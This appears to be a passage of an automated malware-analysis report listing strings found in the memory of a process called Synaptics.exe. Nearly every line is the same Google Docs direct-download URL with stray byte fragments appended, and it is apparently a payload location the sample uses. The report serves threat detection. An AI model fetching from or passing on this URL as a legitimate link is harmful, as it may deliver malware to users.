Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWR
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWb
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWc
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadWj~
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadX/G
Source: Synaptics.exe, 0000000C.00000003.1456948763.0000000005ABB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F955000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadY
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadYoG
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F955000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1460648863.0000000007413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.0000000000574000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZ
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZc
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadZjk
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download_kv
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloada/
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadad
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadalifoAE
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadany
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadarch
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadationo
Source: Synaptics.exe, 0000000C.00000003.1456948763.0000000005ABB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F955000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1460648863.0000000007413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1456948763.0000000005B10000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadb
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadbo
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.0000000000574000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcd
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadce
Source: Synaptics.exe, 0000000C.00000002.1884531817.0000000007400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadclos
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcm
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcn.co
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcnX8
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadco.uk
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadco1
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcomp
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcr
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadcu
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadd
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005AE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddd
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddesk
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaddt
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.000000000743A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.cn
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade.pt
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeY
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadea
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadecurir
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadecurit
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeh
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadem
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadementd
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadenetl
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeniyoX
Source: Synaptics.exe, 0000000C.00000002.1884531817.0000000007400000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadeport=
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloaderse
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadervic
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadevines
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1460648863.0000000007413000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf$
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadf8
Source: Synaptics.exe, 0000000C.00000003.1456948763.0000000005ABB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005AC8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg.
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgl
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgo
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadgoog
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadh
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhM
Source: Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhRU5
Source: Synaptics.exe, 0000000C.00000002.1824235333.000000000055F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.000000000056C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhT
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadheY
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadhhY
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005A0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi$
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadi)
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadin
Source: Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadion-c
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadity
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.000000000743A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiy
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadiyI
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1884531817.0000000007418000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadj
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadjdM
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1919432975.000000000F71A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005B9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005C7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1925524560.000000000F925000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadk
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkc
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadkkZ
Source: Synaptics.exe, 0000000C.00000002.1824235333.00000000005A3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005D0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.0000000000592000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1461731281.00000000005C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl.
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl.goo0
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlighPu
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadloper
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadlu9
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A20000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1886245556.00000000074B6000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1860098892.0000000005A98000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000003.1519925771.00000000005AD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 0000000C.00000002.1824235333.00000000005B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm(
Source: Synaptics.exe, 0000000C.00000002.1921593853.000000000F7C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadm.a
Source: Synaptics.exe, 0000000C.00000002.1925524560.000000000F8EB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmi
Source: Synaptics.exe, 0000000C.00000003.1519925771.00000000005C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmo
Source: Synaptics.exe, 0000000C.00000002.1860098892.0000000005A44000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmp
Source: Synaptics.exe, 0000000C.00000002.1923493272.000000000F85F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadmx
